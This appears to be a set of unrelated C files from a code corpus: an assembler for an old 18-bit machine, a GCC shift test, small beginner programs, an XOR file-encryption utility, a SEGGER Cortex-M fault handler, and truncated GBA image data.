panic("out of memory");
return p;
}
void
list(char *left)
{
if(left == nil)
left = " \t";
if(line[0])
fprintf(lstfp, "%s%05d %s", left, lastlistline, line);
else
fprintf(lstfp, "%s\n", left);
line[0] = '\0';
}
int
cmpsym(const void *s1, const void *s2)
{
return strcmp(((Sym*)s1)->name, ((Sym*)s2)->name);
}
void
listsyms(void)
{
Sym *s;
qsort(symtab, MAXSYM, sizeof(Sym), cmpsym);
fprintf(lstfp, "\n SYMBOL TABLE\n");
for(s = symtab; s < &symtab[MAXSYM]; s++){
if((s->type&7) != SymValue)
continue;
if(s->supress)
continue;
fprintf(lstfp, "%-07s %06o\n", s->name, s->val);
}
}
int
ch(void)
{
int c;
tail:
if(peekc){
c = peekc;
peekc = 0;
return c;
}
/* listing */
if(pass2 && lastlistline != lineno){
/* if line hasn't been printed yet, do it now */
if(line[0])
list(nil);
int pos = ftell(infp);
char *p;
for(p = line; p < &line[80-2]; p++){
c = getc(infp);
if(c == '\n' || c == EOF)
break;
*p = c;
}
if(!(p == line && c == EOF))
*p++ = '\n';
*p++ = '\0';
fseek(infp, pos, SEEK_SET);
lastlistline = lineno;
}
c = getc(infp);
if(c == EOF)
return EOF;
if(c == '\n')
lineno++;
// We only want ASCII!!
c &= 0177;
if(tmpfp)
putc(c, tmpfp);
return c;
}
int
peek(void)
{
peekc = ch();
return peekc;
}
// like ch() but skip whitespace except newlines
int
chsp(void)
{
int c;
while(c = ch(),
c == ' ' || c == '\t' || c == '\r' || c == '\v');
return c;
}
int
peeksp(void)
{
peekc = chsp();
return peekc;
}
/* Symbols */
/* Just find symbol, or return nil. */
Sym*
findsym(char *name)
{
Sym *s;
for(s = symtab; s < &symtab[MAXSYM]; s++)
if(strncmp(s->name, name, SYMLEN) == 0)
return s;
return nil;
}
/* Get symbol, add to table if not present */
Sym*
getsym(char *name)
{
Sym *s;
s = findsym(name);
if(s == nil){
for(s = symtab; s < &symtab[MAXSYM]; s++)
if(s->name[0] == 0)
goto found;
panic("symbol table full");
found:
strncpy(s->name, name, SYMLEN);
s->type = None;
s->supress = 0;
s->val = 0;
}
return s;
}
/* Parser */
int
ispunc(char c)
{
static char *punct = " \t\n\r+-!,=;$*./&\"()[]<>";
return strchr(punct, c) != nil;
}
Token
number(void)
{
int c;
Token t;
t.type = TokWord;
t.w = 0;
while(isdigit(c = ch())){
if(c-'0' >= radix)
err(0, "warning: invalid digit in current base");
t.w = t.w*radix + c-'0';
}
peekc = c;
if(c && !ispunc(c)){
err(0, "warning: ignored characters after number");
while(c = ch(), c != EOF && !ispunc(c));
peekc = c;
}
return t;
}
int
issymchar(int c)
{
return isalnum(c) || c == '_' || c == '.';
}
Token
symbol(void)
{
char symbuf[SYMLEN+1];
int c;
Token t;
int len;
len = 0;
memset(symbuf, 0, sizeof(symbuf));
while(c = ch(), issymchar(c))
if(len<SYMLEN)
symbuf[len++] = tolower(c);
peekc = c;
t.type = TokSymbol;
t.sym = getsym(symbuf);
return t;
}
Token
token(void)
{
static char *self = "+-!,=$*&()[]<>";
int c;
Token t;
tail:
if(peekt.type != None){
t = peekt;
peekt.type = None;
return t;
}
while(c = chsp(), c != EOF){
if(isdigit(c)){
peekc = c;
return number();
}else if(isalpha(c)){
peekc = c;
t = symbol();
return t;
}else if(strchr(self, c)){
t.type = c;
return t;
}else switch(c){
case '.':
t.type = TokSymbol;
t.sym = dot;
return t;
case ';':
case '\n':
t.type = TokEol;
return t;
case '"':
t.type = TokWord;
t.w = ch() | 0200;
return t;
case '/':
case '|':
while(ch() != '\n');
t.type = TokEol;
return t;
default:
err(0, "warning: ignored character %c", ch());
}
}
t.type = TokEol;
return t;
}
/* Assembler */
/* write out a word */
void
putword(word w)
{
static char left[64];
if(pass2){
/* listing */
sprintf(left, "%06o %06o\t", dot->val, w);
list(left);
fprintf(outfp, "%o: %o\n", dot->val++, w);
}else{
// this is probably useless...
memory[dot->val++] = w;
}
dot->val &= W;
}
void
writelits(void)
{
word a;
static char left[64];
fprintf(lstfp, "\n LITERALS\n");
for(a = litdot; a < litend; a++){
/* listing */
sprintf(left, "%06o %06o\t", a, memory[a]);
list(left);
fprintf(outfp, "%o: %o\n", a, memory[a]);
}
}
word
putlit(word w)
{
word a;
maxlits++;
for(a = litdot; a < MAXMEM; a++)
if(memory[a] == w)
return a;
if(litdot == 0)
err(1, "error: too many literals");
a = --litdot;
memory[a] = w;
return a;
}
word
combine(int op, word w1, word w2)
{
switch(op){
case 0:
return w2;
case '+':
w1 += w2;
if(w1 & 01000000)
w1 += 1;
return w1 & W;
case '-':
w1 += ~w2 & W;
if(w1 & 01000000)
w1 += 1;
return w1 & W;
case ' ':
case '!':
return (w1 | w2) & W;
case '&':
return (w1 & w2) & W;
default:
panic("unknown operator %c", op);
}
return 0;
}
word
expr(int mustdef)
{
word w, v;
Token t;
int op;
int stype;
/* operators:
* + add
* - sub
* ! or
* & and
* space combine */
op = 0;
w = 0;
// not quite sure about expression delimiter here...
while(t = token(), t.type != TokEol &&
t.type != ')' && t.type != ']' && t.type != ','){
switch(t.type){
case TokWord:
w = combine(op, w, t.w);
op = ' ';
break;
case TokSymbol:
stype = t.sym->type & 7;
v = 0;
if(stype == SymValue)
v = t.sym->val;
else if(stype != None || pass2)
err(1, "error: bad symbol in expression");
if(mustdef && stype == None)
err(1, "error: undefined symbol");
w = combine(op, w, v);
op = ' ';
break;
case '(':
v = expr(0);
v = putlit(v);
w = combine(op, w, v);
op = ' ';
t = token();
if(t.type != ')' && t.type != TokEol)
err(1, "err: literal not closed");
if(t.type != ')')
peekt = t;
break;
case '+':
case '-':
case '!':
case '&':
op = t.type;
break;
}
}
peekt = t;
return w;
}
void
statement(void)
{
Token t;
Sym *s;
word w;
while(t = token(), t.type != TokEol){
switch(t.type){
case TokSymbol:
s = t.sym;
if(peek() == ','){
peekc = 0;
if(s->type == None ||
s->type & SymLabel && s->val == dot->val){
s->type = SymValue | SymLabel;
s->val = dot->val;
}else{
err(1, "error: redefinition by label");
}
}else if(peek() == '='){
peekc = 0;
w = expr(0);
if(s->type == None || (s->type & SymLabel) == 0){
s->type = SymValue;
s->val = w;
}else
err(1, "error: redefinition by equ");
}else{
peekt = t;
w = expr(0);
putword(w);
}
break;
case '-':
case TokWord:
peekt = t;
w = expr(0);
putword(w);
break;
case '$':
t = token();
if(t.type == TokWord)
startaddr = t.w;
else if(t.type == TokSymbol){
startaddr = t.sym->val;
}else
err(1, "error: expected word or symbol");
// end assembly
peekc = EOF;
return;
case '*':
w = expr(1);
dot->val = w;
break;
default:
err(1, "unknown token %c", t.type);
}
}
}
void
assemble(void)
{
peekt.type = None;
while(peek() != EOF)
statement();
// list last line
if(pass2 && line[0])
list(nil);
}
void
checkundef(void)
{
int i;
int e;
e = 0;
for(i = 0; i < MAXSYM; i++)
if(symtab[i].name[0] && symtab[i].type == None){
err(0, "error: %s undefined", symtab[i].name);
e = 1;
}
if(e)
err(1, "errors in first pass");
}
/* Init */
struct
{
char *sym;
word val;
} valtab[] = {
{ ".", 0 },
{ "sto", 0000000 },
{ "add", 0200000 },
{ "trn", 0400000 },
{ "opr", 0600000 },
{ "cll", 0700000 },
{ "clr", 0640000 },
{ "pen", 0600100 },
// { "tac", 0600004 },
{ "tac", 0740004 },
{ "com", 0600040 },
{ "amb", 0600001 },
// { "tbr", 0600003 },
{ "tbr", 0740023 },
{ "mbl", 0600200 },
{ "lmb", 0600002 },
{ "shr", 0600400 },
{ "pad", 0600020 },
{ "cyr", 0600600 },
{ "cry", 0600010 },
{ "cla", 0740000 },
{ "clc", 0740040 },
{ "lac", 0740022 },
{ "lcc", 0740062 },
{ "lpd", 0600022 },
{ "lad", 0600032 },
{ "lcd", 0600072 },
{ "cal", 0740200 },
{ "lro", 0600200 },
{ "alr", 0600201 },
{ "alo", 0600221 },
{ "alc", 0600261 },
{ "cyl", 0600031 },
{ "ios", 0760000 },
{ "r1c", 0761000 },
{ "r1r", 0761600 },
{ "r1l", 0761031 },
{ "dis", 0622000 },
{ "r3c", 0763000 },
{ "prt", 0624000 },
{ "pnt", 0624600 },
{ "pna", 0624021 },
{ "pnc", 0624061 },
{ "p6s", 0766000 },
{ "p6h", 0626600 },
{ "p7h", 0627600 },
{ "p6a", 0626021 },
{ "p7a", 0627021 },
{ "hlt", 0630000 },
// unknown
{ "rfa", 0600000 },
{ "rfl", 0600000 },
{ "rfr", 0600000 },
{ nil, 0 }
};
void
initsymtab(void)
{
int i;
Sym *s;
for(i = 0; valtab[i].sym; i++){
s = getsym(valtab[i].sym);
s->type = SymValue;
s->supress = 1;
s->val = valtab[i].val;
}
/*
for(i = 0; pseudtab[i].sym; i++){
s = getsym(sixbit(pseudtab[i].sym));
s->type = SymPseudo;
s->f = pseudtab[i].f;
}
*/
dot = findsym(".");
dot->type = SymValue;
dot->supress = 1;
}
int
main(int argc, char *argv[])
{
int i;
infp = stdin;
filename = "<stdin>";
tmpfp = mustopen("tmptmp", "wb");
initsymtab();
litdot = MAXMEM;
dot->val = 040;
pass2 = 0;
assemble();
checkundef();
pass2 = 1;
fclose(tmpfp);
tmpfp = nil;
infp = mustopen("tmptmp", "rb");
outfp = mustopen("out.mem", "wb");
lstfp = mustopen("out.lst", "w");
litend = dot->val + maxlits; // dot->val + (MAXMEM-litdot);
litdot = litend;
dot->val = 040;
lineno = 1;
peekc = 0;
memset(memory, 0, sizeof(memory));
assemble();
writelits();
fclose(infp);
fclose(outfp);
listsyms();
printf("start: %o\n", startaddr);
return 0;
}
|
the_stack_data/192331175.c
|
/* Check that there are no redundant zero extensions around logical right
shifts. */
/* { dg-do compile } */
/* { dg-options "-O1" } */
/* { dg-final { scan-assembler-times "extu" 20 } } */
/* { dg-final { scan-assembler-times "shll" 2 { target { "! sh2a" && has_dyn_shift } } } } */
/* { dg-final { scan-assembler-times "shll" 3 { target { "! sh2a" && "! has_dyn_shift" } } } } */
/* { dg-final { scan-assembler-times "movt" 2 { target { ! sh2a } } } } */
/* { dg-final { scan-assembler-times "bld" 1 { target { sh2a } } } } */
/* { dg-final { scan-assembler-times "movt" 1 { target { sh2a } } } } */
/* { dg-final { scan-assembler-times "movrt" 1 { target { sh2a } } } } */
/* { dg-final { scan-assembler-times "cmp/pz" 1 { target { sh2a } } } } */
/* { dg-final { scan-assembler-times "shld" 9 { target { has_dyn_shift } } } } */
void
test_0 (unsigned char* x, unsigned int* y)
{
y[0] = x[1] >> 1;
}
void
test_1 (unsigned char* x, unsigned int* y)
{
y[0] = x[1] >> 2;
}
void
test_2 (unsigned char* x, unsigned int* y)
{
y[0] = x[1] >> 3;
}
void
test_3 (unsigned char* x, unsigned int* y)
{
y[0] = x[1] >> 4;
}
void
test_4 (unsigned char* x, unsigned int* y)
{
y[0] = x[1] >> 5;
}
void
test_5 (unsigned char* x, unsigned int* y)
{
y[0] = x[1] >> 6;
}
void
test_6 (unsigned char* x, unsigned int* y)
{
/* non-SH2A: shll, movt
SH2A: bld, movt */
y[0] = x[1] >> 7;
}
void
test_100 (unsigned short* x, unsigned int* y)
{
y[0] = x[1] >> 1;
}
void
test_101 (unsigned short* x, unsigned int* y)
{
y[0] = x[1] >> 2;
}
void
test_102 (unsigned short* x, unsigned int* y)
{
y[0] = x[1] >> 3;
}
void
test_103 (unsigned short* x, unsigned int* y)
{
y[0] = x[1] >> 4;
}
void
test_104 (unsigned short* x, unsigned int* y)
{
y[0] = x[1] >> 5;
}
void
test_105 (unsigned short* x, unsigned int* y)
{
y[0] = x[1] >> 6;
}
void
test_106 (unsigned short* x, unsigned int* y)
{
y[0] = x[1] >> 7;
}
void
test_107 (unsigned short* x, unsigned int* y)
{
y[0] = x[1] >> 8;
}
void
test_108 (unsigned short* x, unsigned int* y)
{
y[0] = x[1] >> 9;
}
void
test_109 (unsigned short* x, unsigned int* y)
{
y[0] = x[1] >> 10;
}
void
test_110 (unsigned short* x, unsigned int* y)
{
y[0] = x[1] >> 11;
}
void
test_111 (unsigned short* x, unsigned int* y)
{
y[0] = x[1] >> 12;
}
void
test_112 (unsigned short* x, unsigned int* y)
{
y[0] = x[1] >> 13;
}
void
test_113 (unsigned short* x, unsigned int* y)
{
y[0] = x[1] >> 14;
}
void
test_114 (unsigned short* x, unsigned int* y)
{
/* non-SH2A: shll, movt
SH2A: cmp/pz, movrt */
y[0] = x[1] >> 15;
}
|
the_stack_data/34513217.c
|
#include <stdio.h>
int main()
{
printf("Laboratório 01\n");
return 0;
}
|
the_stack_data/89200361.c
|
/* ------------------------------------------------
*
* From IppSec HackBack YouTube video
*
* https://youtu.be/B9nozi1PrhY
*
* ------------------------------------------------ */
#include <string.h>
#include <fcntl.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <unistd.h>
#include <stdlib.h>
#include <stdio.h>
void xor(char *data, int len, char *key, int klen) {
unsigned char *a = (unsigned char *)data;
unsigned char *k = (unsigned char *)key;
for (int i = 0; i < len; i++) {
a[i] ^= k[i % klen];
};
}
int main(int argc, char *argv[]) {
int in_fd;
int out_fd;
char *b;
if (argc < 4) {
printf("Usage: \n./encrypt input output key");
};
in_fd = open(argv[1], O_RDONLY);
out_fd = open(argv[2], O_RDWR | O_CREAT);
if (in_fd != -1) {
struct stat s;
fstat(in_fd, &s);
b = malloc(s.st_size);
read(in_fd, b, s.st_size);
xor(b, s.st_size, argv[3], strlen(argv[3]));
write(out_fd, b, s.st_size);
close(in_fd);
close(out_fd);
};
};
|
the_stack_data/926374.c
|
#include <stdio.h>
void main()
{
char x;
int n = 0, k = 0;
while ((x = getchar()) != '#')
{
switch (x)
{
case 't':
k++;
break;
case 'h':
if (k == 1)
k++;
break;
case 'e':
if (k == 2)
k++;
break;
default:
k = 0;
}
if (k == 3)
n++;
}
printf("%d\n", n);
system("pause");
}
|
the_stack_data/808447.c
|
#include <stdlib.h>
int PrintMyName() {
printf("My name is Ivaylo\n");
return (EXIT_SUCCESS);
}
|
the_stack_data/54825976.c
|
#include <stdio.h>
int main(void){
int temperatureReadings[30][24] = {0};
return 0;
}
|
the_stack_data/257867.c
|
#include <stdio.h>
int main(int argc, char const *argv[]) {
int cnt = 0;
int var;
while (1) {
int res = scanf("%d", &var);
printf("%d %d\n", cnt, var);
cnt++;
}
return 0;
}
|
the_stack_data/18887632.c
|
#include <stdio.h>
int fun1()
{
return 666; //此函数最终返回数值：666
}
int fun2()
{
int a = 11;
int b = 22;
return a + b; //此函数最终返回数值：33
printf("这一行不会输出\n"); //注意：在return之后的语句不会被执行，因为函数已经停止
}
int main(void)
{
printf("%d\n", fun1()); //输出666
printf("%d\n", fun2()); //输出33
}
|
the_stack_data/243894449.c
|
/*********************************************************************
* SEGGER Microcontroller GmbH *
* The Embedded Experts *
**********************************************************************
* *
* (c) 2014 - 2020 SEGGER Microcontroller GmbH *
* *
* www.segger.com Support: [email protected] *
* *
**********************************************************************
* *
* All rights reserved. *
* *
* Redistribution and use in source and binary forms, with or *
* without modification, are permitted provided that the following *
* conditions are met: *
* *
* - Redistributions of source code must retain the above copyright *
* notice, this list of conditions and the following disclaimer. *
* *
* - Neither the name of SEGGER Microcontroller GmbH *
* nor the names of its contributors may be used to endorse or *
* promote products derived from this software without specific *
* prior written permission. *
* *
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND *
* CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, *
* INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF *
* MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE *
* DISCLAIMED. *
* IN NO EVENT SHALL SEGGER Microcontroller GmbH BE LIABLE FOR *
* ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR *
* CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT *
* OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; *
* OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF *
* LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT *
* (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE *
* USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH *
* DAMAGE. *
* *
**********************************************************************
-------------------------- END-OF-HEADER -----------------------------
Purpose : Generic SEGGER HardFault handler for Cortex-M
Literature:
[1] Analyzing HardFaults on Cortex-M CPUs
(https://www.segger.com/downloads/appnotes/AN00016_AnalyzingHardFaultsOnCortexM.pdf)
Additional information:
This HardFault handler enables user-friendly analysis of hard faults
in debug configurations.
If a release configuration requires a HardFault handler,
a specific HardFault handler should be included instead,
which for example issues a reset or lits an error LED.
-------- END-OF-HEADER ---------------------------------------------
*/
/*********************************************************************
*
* Defines
*
**********************************************************************
*/
#define SYSHND_CTRL \
(*(volatile unsigned int \
*)(0xE000ED24u)) // System Handler Control and State Register
#define NVIC_MFSR \
(*(volatile unsigned char \
*)(0xE000ED28u)) // Memory Management Fault Status Register
#define NVIC_BFSR \
(*(volatile unsigned char *)(0xE000ED29u)) // Bus Fault Status Register
#define NVIC_UFSR \
(*(volatile unsigned short *)(0xE000ED2Au)) // Usage Fault Status Register
#define NVIC_HFSR \
(*(volatile unsigned int *)(0xE000ED2Cu)) // Hard Fault Status Register
#define NVIC_DFSR \
(*(volatile unsigned int *)(0xE000ED30u)) // Debug Fault Status Register
#define NVIC_BFAR \
(*(volatile unsigned int *)(0xE000ED38u)) // Bus Fault Manage Address Register
#define NVIC_AFSR \
(*(volatile unsigned int *)(0xE000ED3Cu)) // Auxiliary Fault Status Register
#ifndef DEBUG // Should be overwritten by project settings
#define DEBUG (0) // in debug builds
#endif
/*********************************************************************
*
* Prototypes
*
**********************************************************************
*/
#ifdef __cplusplus
extern "C" {
#endif
void HardFaultHandler(unsigned int *pStack);
#ifdef __cplusplus
}
#endif
/*********************************************************************
*
* Static data
*
**********************************************************************
*/
#if DEBUG
static volatile unsigned int _Continue; // Set this variable to 1 to run further
static struct {
struct {
volatile unsigned int r0; // Register R0
volatile unsigned int r1; // Register R1
volatile unsigned int r2; // Register R2
volatile unsigned int r3; // Register R3
volatile unsigned int r12; // Register R12
volatile unsigned int lr; // Link register
volatile unsigned int pc; // Program counter
union {
volatile unsigned int byte;
struct {
unsigned int IPSR : 8; // Interrupt Program Status register (IPSR)
unsigned int EPSR : 19; // Execution Program Status register (EPSR)
unsigned int APSR : 5; // Application Program Status register (APSR)
} bits;
} psr; // Program status register.
} SavedRegs;
union {
volatile unsigned int byte;
struct {
unsigned int
MEMFAULTACT : 1; // Read as 1 if memory management fault is active
unsigned int
BUSFAULTACT : 1; // Read as 1 if bus fault exception is active
unsigned int UnusedBits1 : 1;
unsigned int
USGFAULTACT : 1; // Read as 1 if usage fault exception is active
unsigned int UnusedBits2 : 3;
unsigned int SVCALLACT : 1; // Read as 1 if SVC exception is active
unsigned int
MONITORACT : 1; // Read as 1 if debug monitor exception is active
unsigned int UnusedBits3 : 1;
unsigned int PENDSVACT : 1; // Read as 1 if PendSV exception is active
unsigned int SYSTICKACT : 1; // Read as 1 if SYSTICK exception is active
unsigned int
USGFAULTPENDED : 1; // Usage fault pended; usage fault started but was
// replaced by a higher-priority exception
unsigned int
MEMFAULTPENDED : 1; // Memory management fault pended; memory
// management fault started but was replaced by a
// higher-priority exception
unsigned int
BUSFAULTPENDED : 1; // Bus fault pended; bus fault handler was started
// but was replaced by a higher-priority exception
unsigned int SVCALLPENDED : 1; // SVC pended; SVC was started but was
// replaced by a higher-priority exception
unsigned int MEMFAULTENA : 1; // Memory management fault handler enable
unsigned int BUSFAULTENA : 1; // Bus fault handler enable
unsigned int USGFAULTENA : 1; // Usage fault handler enable
} bits;
} syshndctrl; // System Handler Control and State Register (0xE000ED24)
union {
volatile unsigned char byte;
struct {
unsigned char IACCVIOL : 1; // Instruction access violation
unsigned char DACCVIOL : 1; // Data access violation
unsigned char UnusedBits : 1;
unsigned char MUNSTKERR : 1; // Unstacking error
unsigned char MSTKERR : 1; // Stacking error
unsigned char UnusedBits2 : 2;
unsigned char MMARVALID : 1; // Indicates the MMAR is valid
} bits;
} mfsr; // Memory Management Fault Status Register (0xE000ED28)
union {
volatile unsigned int byte;
struct {
unsigned int IBUSERR : 1; // Instruction access violation
unsigned int PRECISERR : 1; // Precise data access violation
unsigned int IMPREISERR : 1; // Imprecise data access violation
unsigned int UNSTKERR : 1; // Unstacking error
unsigned int STKERR : 1; // Stacking error
unsigned int UnusedBits : 2;
unsigned int BFARVALID : 1; // Indicates BFAR is valid
} bits;
} bfsr; // Bus Fault Status Register (0xE000ED29)
volatile unsigned int bfar; // Bus Fault Manage Address Register (0xE000ED38)
union {
volatile unsigned short byte;
struct {
unsigned short
UNDEFINSTR : 1; // Attempts to execute an undefined instruction
unsigned short
INVSTATE : 1; // Attempts to switch to an invalid state (e.g., ARM)
unsigned short INVPC : 1; // Attempts to do an exception with a bad value
// in the EXC_RETURN number
unsigned short NOCP : 1; // Attempts to execute a coprocessor instruction
unsigned short UnusedBits : 4;
unsigned short UNALIGNED : 1; // Indicates that an unaligned access fault
// has taken place
unsigned short
DIVBYZERO : 1; // Indicates a divide by zero has taken place (can be
// set only if DIV_0_TRP is set)
} bits;
} ufsr; // Usage Fault Status Register (0xE000ED2A)
union {
volatile unsigned int byte;
struct {
unsigned int UnusedBits : 1;
unsigned int
VECTBL : 1; // Indicates hard fault is caused by failed vector fetch
unsigned int UnusedBits2 : 28;
unsigned int FORCED : 1; // Indicates hard fault is taken because of bus
// fault/memory management fault/usage fault
unsigned int
DEBUGEVT : 1; // Indicates hard fault is triggered by debug event
} bits;
} hfsr; // Hard Fault Status Register (0xE000ED2C)
union {
volatile unsigned int byte;
struct {
unsigned int HALTED : 1; // Halt requested in NVIC
unsigned int BKPT : 1; // BKPT instruction executed
unsigned int DWTTRAP : 1; // DWT match occurred
unsigned int VCATCH : 1; // Vector fetch occurred
unsigned int EXTERNAL : 1; // EDBGRQ signal asserted
} bits;
} dfsr; // Debug Fault Status Register (0xE000ED30)
volatile unsigned int afsr; // Auxiliary Fault Status Register (0xE000ED3C),
// Vendor controlled (optional)
} HardFaultRegs;
#endif
/*********************************************************************
*
* Global functions
*
**********************************************************************
*/
void HardFault_Handler(void) __attribute__((naked));
void HardFault_Handler(void) {
__asm volatile(
"tst LR, #4 ;// Check EXC_RETURN in Link register bit 2. \n"
"ite EQ \n"
"mrseq R0, MSP ;// Stacking was using MSP. \n"
"mrsne R0, PSP ;// Stacking was using PSP. \n"
"b HardFaultHandler ;// Stack pointer passed through R0. "
"\n");
}
/*********************************************************************
*
* HardFaultHandler()
*
* Function description
* C part of the hard fault handler which is called by the assembler
* function HardFault_Handler
*/
void HardFaultHandler(unsigned int *pStack) {
//
// In case we received a hard fault because of a breakpoint instruction, we
// return. This may happen when using semihosting for printf outputs and no
// debugger is connected, i.e. when running a "Debug" configuration in release
// mode.
//
if (NVIC_HFSR & (1u << 31)) {
NVIC_HFSR |= (1u << 31); // Reset Hard Fault status
*(pStack + 6u) += 2u; // PC is located on stack at SP + 24 bytes. Increment
// PC by 2 to skip break instruction.
return; // Return to interrupted application
}
#if DEBUG
//
// Read NVIC registers
//
HardFaultRegs.syshndctrl.byte =
SYSHND_CTRL; // System Handler Control and State Register
HardFaultRegs.mfsr.byte = NVIC_MFSR; // Memory Fault Status Register
HardFaultRegs.bfsr.byte = NVIC_BFSR; // Bus Fault Status Register
HardFaultRegs.bfar = NVIC_BFAR; // Bus Fault Manage Address Register
HardFaultRegs.ufsr.byte = NVIC_UFSR; // Usage Fault Status Register
HardFaultRegs.hfsr.byte = NVIC_HFSR; // Hard Fault Status Register
HardFaultRegs.dfsr.byte = NVIC_DFSR; // Debug Fault Status Register
HardFaultRegs.afsr = NVIC_AFSR; // Auxiliary Fault Status Register
//
// Halt execution
// If NVIC registers indicate readable memory, change the variable value to !=
// 0 to continue execution.
//
// _Continue = 0u;
// while (_Continue == 0u) {
// }
//
// Read saved registers from the stack.
//
HardFaultRegs.SavedRegs.r0 = pStack[0]; // Register R0
HardFaultRegs.SavedRegs.r1 = pStack[1]; // Register R1
HardFaultRegs.SavedRegs.r2 = pStack[2]; // Register R2
HardFaultRegs.SavedRegs.r3 = pStack[3]; // Register R3
HardFaultRegs.SavedRegs.r12 = pStack[4]; // Register R12
HardFaultRegs.SavedRegs.lr = pStack[5]; // Link register LR
HardFaultRegs.SavedRegs.pc = pStack[6]; // Program counter PC
HardFaultRegs.SavedRegs.psr.byte = pStack[7]; // Program status word PSR
//
// Halt execution
// To step out of the HardFaultHandler, change the variable value to != 0.
//
_Continue = 0u;
while (_Continue == 0u) {
}
#else
//
// If this module is included in a release configuration, simply stay in the
// HardFault handler
//
(void)pStack;
do {
} while (1);
#endif
}
/*************************** End of file ****************************/
|
the_stack_data/215769402.c
|
//{{BLOCK(menu)
//======================================================================
//
// menu, 256x256@8,
// + palette 256 entries, not compressed
// + 527 tiles (t|f|p reduced) not compressed
// + regular map (in SBBs), not compressed, 32x32
// Total size: 512 + 33728 + 2048 = 36288
//
// Time-stamp: 2020-11-13, 13:58:10
// Exported by Cearn's GBA Image Transmogrifier, v0.8.3
// ( http://www.coranac.com/projects/#grit )
//
//======================================================================
const unsigned short menuTiles[16864] __attribute__((aligned(4)))=
{
0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,
0x7171,0x7171,0x7171,0x7171,0xA0A0,0xA0A0,0xA0A0,0xA0A0,
0x9999,0x9999,0x9999,0x9999,0xA1A1,0xA1A1,0xA1A1,0xA1A1,
0xD4D4,0xF0D4,0x4141,0x41F0,0xF0F0,0xF0F0,0xF0F0,0xF0F0,
0x3E3E,0x3E3E,0x3E3E,0x3E3E,0x3E3E,0x3E3E,0x3E3E,0x3E3E,
0x7171,0x0171,0x7171,0x7171,0xA0A0,0x7171,0x7171,0x7171,
0xA099,0xA0A0,0xA0A0,0xA0A0,0x9999,0x9999,0xA0A0,0xA0A0,
0xA1A1,0x9999,0x9999,0x9999,0xA1D4,0x20A1,0x9999,0x9999,
0xD4D4,0x20D4,0x2020,0x2020,0xD43E,0xD4D4,0x2020,0x2020,
0x7171,0x7171,0x7171,0x7171,0x7171,0x7171,0x7171,0x7171,
0xA0A0,0xA0A0,0xA0A0,0xA0A0,0xA0A0,0xA0A0,0xA0A0,0xA0A0,
0x9999,0x9999,0x9999,0x9999,0x9999,0x9999,0x9999,0x9999,
0x2020,0x2020,0x2020,0xA120,0x2020,0x2020,0xA1A1,0xA1A1,
0x7171,0x7171,0x7171,0x0171,0x7171,0x7171,0x7171,0x0171,
0xA0A0,0xA0A0,0xA0A0,0xA0A0,0xA0A0,0xA0A0,0xA0A0,0xA0A0,
0x9999,0x9999,0x9999,0x9999,0x9999,0x9999,0x9999,0x9999,
0xA1A1,0xA1A1,0x9920,0x9999,0xA1A1,0xA1A1,0x2020,0x9920,
0x0101,0x0101,0x0101,0x0101,0x0101,0x0101,0x0101,0x0101,
0x0101,0x0101,0x0101,0x0101,0x0101,0x0101,0x0101,0x0101,
0x01A0,0x0101,0x0101,0x0101,0x4999,0x0101,0x0101,0x0101,
0x4999,0x4949,0x0101,0x0101,0x4999,0x4949,0x4949,0x4949,
0x0101,0x0101,0x0101,0x0101,0x0101,0x0101,0x0101,0x0101,
0x0101,0x0101,0x0101,0x0101,0x0101,0x0101,0x0101,0x0101,
0x0101,0x0101,0x0101,0x0101,0x0101,0x0101,0x0101,0x0101,
0x0101,0x0101,0x0101,0x0101,0x4949,0x4949,0x4949,0x0149,
0x0101,0x0101,0x0101,0x4901,0x0101,0x0101,0x0101,0x4901,
0x0101,0x0101,0x0101,0x4949,0x0101,0x0101,0x4901,0x4949,
0x0101,0x4949,0x4949,0x2049,0x4901,0x4949,0x4949,0x2020,
0x4901,0x4949,0x2049,0x4920,0x4949,0x4949,0x2020,0x2049,
0x2020,0x4949,0x4949,0x2020,0x2049,0x6B20,0x4920,0x0101,
0x4949,0x2020,0x6B20,0x566A,0x4949,0x2049,0x2956,0x6018,
0x4949,0x2910,0x7B18,0x7F57,0x6A49,0x7B81,0xA657,0x4E4E,
0x8110,0x7F57,0x844E,0x941B,0x5745,0x84A6,0x941B,0xA347,
0x2020,0x4949,0x4949,0x2020,0x2049,0x206B,0x0149,0x2001,
0x3567,0x6666,0x6A35,0x206B,0x6060,0x6060,0x6060,0x2981,
0xA6A6,0xA6A6,0x7F7F,0x5757,0x8484,0x1B1B,0x8484,0x844E,
0x9494,0x9494,0x9494,0xA394,0xA3A3,0xA3A3,0xA3A3,0x1111,
0x4949,0x676B,0x2918,0x6B10,0x6B20,0x4356,0x6B29,0x6A10,
0x5620,0x6643,0x6A6B,0x6756,0x8167,0x6B29,0x566A,0x6635,
0xA64E,0x6B56,0x6756,0x4529,0xA647,0x3560,0x356A,0x2345,
0x4E47,0x7F4E,0x3545,0x8445,0x94A3,0x1B94,0x184E,0x5729,
0x106B,0x6A10,0x6A6A,0x6A56,0x6A6A,0x676A,0x6735,0x3535,
0x6767,0x6635,0x6629,0x2929,0x2929,0x4529,0x8181,0x8181,
0x1818,0x1818,0x7B60,0x7B7B,0x4E1B,0x577B,0xA67F,0xA6A6,
0x94A3,0xA67F,0x844E,0x1B1B,0x4E94,0x84A6,0x471B,0xA347,
0x6A6A,0x106A,0x1010,0x1010,0x6767,0x5667,0x6A6A,0x6A6A,
